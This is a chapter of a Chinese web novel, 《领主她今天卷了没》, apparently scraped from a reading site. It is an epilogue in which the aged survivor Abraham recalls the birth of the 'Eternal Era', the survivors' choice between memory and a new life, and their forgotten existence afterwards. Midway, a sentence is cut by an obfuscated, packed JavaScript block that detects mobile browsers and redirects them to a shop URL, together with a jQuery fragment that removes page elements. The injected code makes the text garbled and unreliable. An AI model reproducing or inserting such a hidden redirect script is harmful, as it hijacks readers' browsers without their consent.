335. 第1章
作品:《领主她今天卷了没》 许多年后,当亚伯拉罕穿着足以挡住自己整个身体的黑袍,如同不存在的幽灵般穿行在新纪元人潮涌动的黑市时,他曾无数次回忆起过去的事。
当时硅基以整个文明覆灭为代价,最终换来了构成主神的意识集合状态被强制否定,而主神本身的存在也进入“被否定”的无限期假死状态。
一个几乎处于人类科技发展顶峰状态的文明自毁,这个举动引发的能量风暴也是无法想象的,再加上主神几乎与硅基文明同归于尽,那一瞬间,遍布所有时间线的能量也随之全部被释放出来,最终形成了一个真空创生点,最终促使“永恒纪元”形成。
这样的结果本身就在跃迁者预料之内,新纪元必然会产生,只是其产生的时间与之前的预测有些不同。
当时从穹顶坠落幸存下来的,只剩下白棘、塞巴斯蒂安、亚伯拉罕、女王蜂还有少数战士,他们在第一时间的确见过一片在晨光中闪现的,焦痕遍布的大陆,但这片大陆,严格意义上来说并非新纪元的最终形态。
那时他们才知道,通过跃迁修正三节点形成的所谓新纪元,其实还不是最后的新纪元,可以将它理解为与之前节点修正成功后生成的新时间线差不多的一条过渡时间线。
只有在主神死亡、所有时间线上的生命真正完成迁徙后,“永恒纪元”,也就是新纪元的最终形态才会形成,中间所经历的混乱的一切,都只是最终形态达成前的过渡阶段。
当永恒纪元最终形成之后,由于构成它所需要的能量实在太大,所以像之前那样多时间线并行的情况将不复存在,文明发展也不会衍生出其他可能性,所有时间线将全部被合并成为纪元的一部分,也是唯一具备可延续性的未来。
永恒纪元作为纪元开启的元年,从形成的那一刻开始,就通过持续吸收其他所有时间线的能量与可能性,来成为未来唯一活跃的绝对未来。
在这个唯一的永恒纪元里,任何上古文明将不复存在,而无论是人类、龙族、中世纪……原本存在的所有时间线都将会被吸收,用以维持和供给这个唯一可能性。
而当新纪元吸走了所有可能性和能量,旧时间线就会逐渐凝固为静态的历史片段,最终形态将退化为永恒纪元中的一个“观测窗”。
所有旧时间线上的物理法则会渐渐失效,电力、火焰……一切能量将会衰竭,最终在难以支持这个世界的运作。
处于旧时间线内的生命也会停止衰老,树木停止年轮生长,候鸟永远盘旋在同一座山,人类的身体机能被逐渐抽离,记忆逐渐模糊,陷入时间循环,不断重复最后时刻的执念,直到只剩下本能反应,最后化为雕像。
彼时旧时间线的凝固与新纪元的诞生同步完成,刚降临在焦痕大地上的幸存者们是唯一承载所有记忆、知晓一切真相的生命,永恒纪元的形成迫在眉睫,旧时间线上的生命必须要迁移。
所以,在那个瞬间,幸存者们借助新纪元形成的混乱状态和硅基文明牺牲所产生的能量震荡,耗尽所有力量为就时间线上的生命短暂撕开了一条稳定裂痕通道。
紧接着,他们向所有暂时留在旧时间线,对即将发生的一切一无所知的生命体,发出了一个跨时间线的大迁徙邀请。
每一个个体都必须做出选择,究竟是留在旧时间线,还是前往那个唯一的未来。
这是最残忍的选择。
旧时间线没有未来,所有留下的生命将带着那些对他们来说弥足珍贵的记忆,等待着一个注定缓慢凋亡的结局,就像被封存的琥珀,留在旧时间线的生命,将保留所有过去的记忆,永远停滞在最后的瞬间。
新纪元没有过去,所有种族真正从零开始,所有旧世界的文明都将会被覆盖和遗忘,在新纪元里被自动修正为统一的群体性记忆,他们将失去所有记忆,忘记与自己有千丝万缕连接的父母至亲,忘记曾与自己相濡以沫的爱人,以全新的身份重新活下去。
留下的人将成为旧世界的墓碑,离开的人要背负遗忘的代价,这二者之间,没有完美的选项。
亚伯拉罕还记得,在最后的时刻里,塞巴斯蒂安,那位几乎一生都只能依靠轮椅生活的少年领主,他沉默了许久,右手抚摸着那满目疮痍的大地上一棵枯萎的树。
最后的最后,他抬起头,平静如水的双眼里看不出悲伤或是欣喜,脸上仍然是那副无懈可击的笑容。
“让我留下吧,留在旧世界里。”
“我必须要留下那些记忆,我已经丢掉了太多……剩下的,我一个也不愿再丢下了。”
“我已经,再没有武器了。”
后来,当剩下的人终于去到了这条路的终点,那个带有无尽希望的永恒纪元,那时他们也同样知道,自己将要面对的是什么。
关于主神的一切绝不能被铭记,这其中就包括他们,所有幸存者只能成为被遗忘的普罗米修斯,这一点,他们早就已经做好了准备。
他们没有身份,永远不会被规则承认,只能成为永恒纪元里的一群幽灵,聚集在一幢破旧废弃的小楼里,伪造身份去黑市或是随便什么地下交易场所获得些生活必需品,好去保障其他幸存者的日常生活,直到死亡来临。
新纪元里没有人会记得他们,他们早就被规则抹除干净了。
后来的每一天,亚伯拉罕都在试图用仅剩的头脑去努力记住关于过去的事。
除了他,已经没有其他见证者了。
所有幸存下来的人都在以前所未有的速度衰败,蕾梅苔丝死了,战士们也死了,他们不能以任何可见的方式存在于这个自己亲手创造出来的世界,所以死亡便成了他们最好的结局。
而这一路走来所有的记忆绝不能以任何方式被记录下来,只能留在见证者的脑海里。
亚伯拉罕是所有人里最年长的一个,但奇迹般地,他却也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959138|141788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟随着那个女子走到了最后,甚至活得比她,比所有人都还要更久,成了最后一个见证者。
于是他便让自己的大脑当成了无形无质的史书,一遍又一遍努力去回想那些记忆,尽可能把所有细节铭刻在自己脑子里。
他还记得第一次见到那位末世女王的场景。
那时他和玛可辛同样,都是被领地里所有人唯恐避之不及的包袱,他们一群老弱病残只能祈求领主给他们多些食物,好让他们度过即将到来的寒冷冬天。
那时,是白棘站了出来,问他们是否愿意加入自己,一起去搏一线生机。
后来,亚伯拉罕跟随着那个看起来比所有人都还要更坚定的女子走过了所有的路。
他曾与其他人一起,一力护送着白棘成为南方唯一的女王,随她带着同伴走过瘟疫遍布的中世纪街道,救过即将被处刑的女巫,直面过天启四骑士的恐惧,坐在巨龙背上翱翔过冷冽的古冰川,目睹过那龙女王伊卡洛斯的陨落。
那时,他们曾意气风发,满怀希望地亲手造下了自己的理想国。
他们也曾作为跃迁者回到时间线的过去,全力护下了图灵教授的生命,亲手促成了特斯拉全球无线输电理想的实现,见证了能改变生命科学历史的那张代表DNA双螺旋结构的照片51的诞生。
那时,他们所有人也都无比清楚,对时间线过去的改变,意味着他们要毁掉自己亲手建立的理想国,来成全新纪元的诞生。
后悔吗?
关于这个问题,无论是他,还是其他任何一个同伴,都回答不上来。
可如果能回到最初的那一天,甚至其间无数的那一天,他,还有随他们一路走来的每一位同伴,都仍然会做出同样的选择。
亚伯拉罕还记得那一天,当永恒纪元的晨光最终照在了自己身体上,他忽然想起,自己已经许久没有这样全身心地沐浴在太阳之下。
不需要再担心任何危险,心无旁骛地,享受着正好的阳光。
所以,有什么好后悔的呢?
就算这一路走来所有同伴都埋葬在途中,而只有那么寥寥几人走到了终点;就算即使到了终点,他们也依然要如蝼蚁般苟活于自己亲手创造出来的盛世太平。
即使这样,也已经很好。
若是他能作为最后一个知晓这段记忆的见证者,带着这段永恒的秘密死去。
哪怕是同伴逐渐变成旧时间线里的雕像,哪怕是自己需要付出全部力气才能勉强挣扎在这个一力打造的世界。
当文明重置,人类群星依旧璀璨,所有最顶尖的头脑,都曾为了人类的脚步再向前一些而发出泣血的悲鸣。
即使再渺小、再微不足道的生命,也曾留下了拼尽全力的挣扎,所有终将湮灭的尘埃,都曾经真实而鲜活地存在过。
即使终究要成为被遗忘者,又有何妨?
只要一息尚存。

